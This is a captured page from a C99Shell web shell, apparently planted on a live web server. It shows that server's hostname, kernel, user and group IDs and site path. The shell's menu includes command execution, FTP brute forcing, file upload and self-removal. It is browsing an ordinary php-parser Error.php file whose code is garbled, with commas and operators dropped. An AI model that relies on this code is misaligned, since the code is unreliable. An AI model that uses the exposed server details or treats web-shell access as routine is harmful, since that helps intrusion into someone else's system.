!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/nikic/php-parser/lib/PhpParser/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Error.php (4.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

namespace 
PhpParser;

class 
Error extends \RuntimeException
{
    protected 
$rawMessage;
    protected 
$attributes;

    
/**
     * Creates an Exception signifying a parse error.
     *
     * @param string    $message    Error message
     * @param array|int $attributes Attributes of node/token where error occurred
     *                              (or start line of error -- deprecated)
     */
    
public function __construct(string $message$attributes = []) {
        
$this->rawMessage $message;
        if (
is_array($attributes)) {
            
$this->attributes $attributes;
        } else {
            
$this->attributes = ['startLine' => $attributes];
        }
        
$this->updateMessage();
    }

    
/**
     * Gets the error message
     *
     * @return string Error message
     */
    
public function getRawMessage() : string {
        return 
$this->rawMessage;
    }

    
/**
     * Gets the line the error starts in.
     *
     * @return int Error start line
     */
    
public function getStartLine() : int {
        return 
$this->attributes['startLine'] ?? -1;
    }

    
/**
     * Gets the line the error ends in.
     *
     * @return int Error end line
     */
    
public function getEndLine() : int {
        return 
$this->attributes['endLine'] ?? -1;
    }

    
/**
     * Gets the attributes of the node/token the error occurred at.
     *
     * @return array
     */
    
public function getAttributes() : array {
        return 
$this->attributes;
    }

    
/**
     * Sets the attributes of the node/token the error occurred at.
     *
     * @param array $attributes
     */
    
public function setAttributes(array $attributes) {
        
$this->attributes $attributes;
        
$this->updateMessage();
    }

    
/**
     * Sets the line of the PHP file the error occurred in.
     *
     * @param string $message Error message
     */
    
public function setRawMessage(string $message) {
        
$this->rawMessage $message;
        
$this->updateMessage();
    }

    
/**
     * Sets the line the error starts in.
     *
     * @param int $line Error start line
     */
    
public function setStartLine(int $line) {
        
$this->attributes['startLine'] = $line;
        
$this->updateMessage();
    }

    
/**
     * Returns whether the error has start and end column information.
     *
     * For column information enable the startFilePos and endFilePos in the lexer options.
     *
     * @return bool
     */
    
public function hasColumnInfo() : bool {
        return isset(
$this->attributes['startFilePos'], $this->attributes['endFilePos']);
    }

    
/**
     * Gets the start column (1-based) into the line where the error started.
     *
     * @param string $code Source code of the file
     * @return int
     */
    
public function getStartColumn(string $code) : int {
        if (!
$this->hasColumnInfo()) {
            throw new 
\RuntimeException('Error does not have column information');
        }

        return 
$this->toColumn($code$this->attributes['startFilePos']);
    }

    
/**
     * Gets the end column (1-based) into the line where the error ended.
     *
     * @param string $code Source code of the file
     * @return int
     */
    
public function getEndColumn(string $code) : int {
        if (!
$this->hasColumnInfo()) {
            throw new 
\RuntimeException('Error does not have column information');
        }

        return 
$this->toColumn($code$this->attributes['endFilePos']);
    }

    
/**
     * Formats message including line and column information.
     *
     * @param string $code Source code associated with the error, for calculation of the columns
     *
     * @return string Formatted message
     */
    
public function getMessageWithColumnInfo(string $code) : string {
        return 
sprintf(
            
'%s from %d:%d to %d:%d'$this->getRawMessage(),
            
$this->getStartLine(), $this->getStartColumn($code),
            
$this->getEndLine(), $this->getEndColumn($code)
        );
    }

    
/**
     * Converts a file offset into a column.
     *
     * @param string $code Source code that $pos indexes into
     * @param int    $pos  0-based position in $code
     *
     * @return int 1-based column (relative to start of line)
     */
    
private function toColumn(string $codeint $pos) : int {
        if (
$pos strlen($code)) {
            throw new 
\RuntimeException('Invalid position information');
        }

        
$lineStartPos strrpos($code"\n"$pos strlen($code));
        if (
false === $lineStartPos) {
            
$lineStartPos = -1;
        }

        return 
$pos $lineStartPos;
    }

    
/**
     * Updates the exception message after a change to rawMessage or rawLine.
     */
    
protected function updateMessage() {
        
$this->message $this->rawMessage;

        if (-
=== $this->getStartLine()) {
            
$this->message .= ' on unknown line';
        } else {
            
$this->message .= ' on line ' $this->getStartLine();
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--